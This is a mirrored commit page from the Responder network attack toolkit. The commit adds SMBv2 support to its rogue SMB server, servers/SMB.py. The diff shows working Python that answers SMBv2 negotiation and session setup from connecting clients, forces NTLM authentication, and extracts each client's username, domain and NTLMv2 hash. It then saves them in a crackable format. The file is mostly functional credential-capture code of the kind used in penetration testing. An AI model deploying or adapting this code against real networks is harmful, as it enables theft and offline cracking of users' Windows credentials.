mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-19 13:00:00 -07:00
Added SMBv2 support enabled by default.
This commit is contained in:
lgandx
parent
2e1651f8fd
commit
85d7974513
6 changed files with 359 additions and 48 deletions
116
servers/SMB.py
116
servers/SMB.py
|
|
@ -1,7 +1,7 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
|
|
@ -15,10 +15,11 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from random import randrange
|
||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
|
||||
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
import struct
|
||||
import re
|
||||
|
||||
|
||||
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
|
||||
|
|
@ -67,6 +68,25 @@ def ParseShare(data):
|
|||
if a:
|
||||
print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE'))
|
||||
|
||||
def GrabMessageID(data):
|
||||
Messageid = data[28:36]
|
||||
return Messageid
|
||||
|
||||
def GrabCreditRequested(data):
|
||||
CreditsRequested = data[18:20]
|
||||
if CreditsRequested == "\x00\x00":
|
||||
CreditsRequested = "\x01\x00"
|
||||
else:
|
||||
CreditsRequested = data[18:20]
|
||||
return CreditsRequested
|
||||
|
||||
def GrabCreditCharged(data):
|
||||
CreditCharged = data[10:12]
|
||||
return CreditCharged
|
||||
|
||||
def GrabSessionID(data):
|
||||
SessionID = data[44:52]
|
||||
return SessionID
|
||||
|
||||
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
|
|
@ -126,6 +146,31 @@ def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
|
|||
})
|
||||
|
||||
|
||||
def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
|
||||
SSPIStart = data[113:]
|
||||
data = data[113:]
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[22:24])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',data[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
||||
SaveToDb({
|
||||
'module': 'SMBv2',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
|
|
@ -179,7 +224,7 @@ def IsNT4ClearTxt(data, client):
|
|||
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
||||
|
||||
|
||||
class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
||||
class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||
def handle(self):
|
||||
try:
|
||||
self.ntry = 0
|
||||
|
|
@ -198,8 +243,47 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
|||
except:
|
||||
pass
|
||||
|
||||
if data[8:10] == "\x72\x00": # Negociate Protocol Response
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
|
||||
##Negotiate proto answer SMBv2.
|
||||
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
|
||||
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
|
||||
t = SMB2NegoAns()
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 1 answer SMBv2.
|
||||
if data[16:18] == "\x00\x00" and data[4:5] == "\xfe":
|
||||
head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
|
||||
t = SMB2NegoAns(Dialect="\x10\x02")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 2 answer SMBv2.
|
||||
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
|
||||
t = SMB2Session1Data()
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 3 answer SMBv2.
|
||||
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
|
||||
ParseSMB2NTLMv2Hash(data, self.client_address[0])
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
|
||||
t = SMB2Session2Data()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Negotiate Protocol Response smbv1
|
||||
if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None:
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||
Body.calculate()
|
||||
|
||||
|
|
@ -209,7 +293,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == "\x73\x00": # Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1
|
||||
IsNT4ClearTxt(data, self.client_address[0])
|
||||
|
||||
# STATUS_MORE_PROCESSING_REQUIRED
|
||||
|
|
@ -224,10 +308,10 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
|||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(4096)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
|
||||
if data[8:10] == "\x73\x00": # STATUS_SUCCESS
|
||||
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS
|
||||
if Is_Anonymous(data):
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
|
|
@ -265,7 +349,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
|||
data = self.request.recv(1024)
|
||||
|
||||
|
||||
if data[8:10] == "\x75\x00": # Tree Connect AndX Request
|
||||
if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request
|
||||
ParseShare(data)
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||
Body = SMBTreeData()
|
||||
|
|
@ -277,7 +361,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == "\x71\x00": #Tree Disconnect
|
||||
if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect
|
||||
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
|
|
@ -287,7 +371,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied.
|
||||
if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied.
|
||||
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
|
|
@ -297,7 +381,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == "\x25\x00": # Trans2 Access Denied.
|
||||
if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied.
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
|
|
@ -308,7 +392,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
|||
data = self.request.recv(1024)
|
||||
|
||||
|
||||
if data[8:10] == "\x74\x00": # LogOff
|
||||
if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff
|
||||
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
||||
|
||||
|
|
@ -318,7 +402,7 @@ class SMB1(BaseRequestHandler): # SMB Server class, NTLMSSP
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except socket.timeout:
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue